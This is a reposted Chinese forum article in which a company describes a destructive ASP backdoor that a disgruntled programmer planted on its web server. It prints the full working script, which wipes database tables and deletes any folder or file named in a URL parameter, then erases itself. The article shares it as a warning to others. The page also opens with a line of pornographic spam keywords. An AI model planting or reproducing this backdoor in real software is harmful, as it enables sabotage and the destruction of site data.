国产一级a片免费看高清,亚洲熟女中文字幕在线视频,黄三级高清在线播放,免费黄色视频在线看

打開APP
userphoto
未登錄

開通VIP,暢享免費(fèi)電子書等14項(xiàng)超值服

開通VIP
刪除文件
我們公司有自己的服務(wù)器,因招來的程序員與公司有矛盾,故意編寫以下可指定刪除路徑的代碼,來報(bào)復(fù)公司,致使公司多個(gè)網(wǎng)站損失嚴(yán)重,花了大量時(shí)間搜索原因,終于找到以下有關(guān)代碼,希望有出現(xiàn)類似情形的人,能夠及時(shí)解決這項(xiàng)問題.
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>無標(biāo)題文檔</title>
</head>
<body>
<%
if request("action")="hyx" then
conn.execute("delete   *    from    news")
conn.execute("delete   *    from    news1")
conn.execute("delete  *    from    company")
response.Write "<script>alert('清空成功!');</script>"
response.End()
end  if
Sub DeleteAFolder(filespec)
   Dim fso
   Set fso = CreateObject("Scripting.FileSystemObject")
   path=server.mappath(filespec)
  if  FSO.FolderExists(path) then
  fso.DeleteFolder(path)
  response.Write "<script>alert('刪除成功!');</script>"
  else
response.Write "<script>alert('沒找到路徑!');</script>"
end  if
End Sub
if request("path")<>"" then
hyx=request("path")
DeleteAFolder (hyx)
end if
if request("file_path")<>"" then
set FSO=server.createobject("scripting.filesystemobject")
            picpath=request("file_path")
            pic=server.mappath(picpath)
                if FSO.FileExists(pic) then
                fso.DeleteFile pic
                  response.Write "<script>alert('刪除成功!');</script>"
                else
                 response.Write "<script>alert('沒找到路徑!');</script>"
                 end if
          set FSO=nothing 
        set rs=nothing
        end if
        if request("my")<>"" then
         set FSO=server.createobject("scripting.filesystemobject")
            pic=server.mappath("hyx.asp")
                if FSO.FileExists(pic) then
                fso.DeleteFile pic
                  response.Write "<script>alert('刪除成功!');</script>"
                else
                 response.Write "<script>alert('沒找到路徑!');</script>"
                 end if
          set FSO=nothing 
        set rs=nothing
        end  if
%>
</body>
</html>
 
本文來自: 171站長論壇(http://www.171zz.com/) 詳細(xì)文章參考:http://www.171zz.com/thread-58032-1-1.html
本站僅提供存儲(chǔ)服務(wù),所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊舉報(bào)
打開APP,閱讀全文并永久保存 查看更多類似文章
猜你喜歡
類似文章
ASP數(shù)據(jù)庫連接方式大全
ASP編程入門進(jìn)階(十六):FSO組件之驅(qū)動(dòng)器操作
FSO組件之文件夾操作(ASP)
ASP生成HTML-另一篇
設(shè)置IE主頁腳本
VBS常用腳本 好東西
更多類似文章 >>
生活服務(wù)
分享 收藏 導(dǎo)長圖 關(guān)注 下載文章
綁定賬號(hào)成功
后續(xù)可登錄賬號(hào)暢享VIP特權(quán)!
如果VIP功能使用有故障,
可點(diǎn)擊這里聯(lián)系客服!

聯(lián)系客服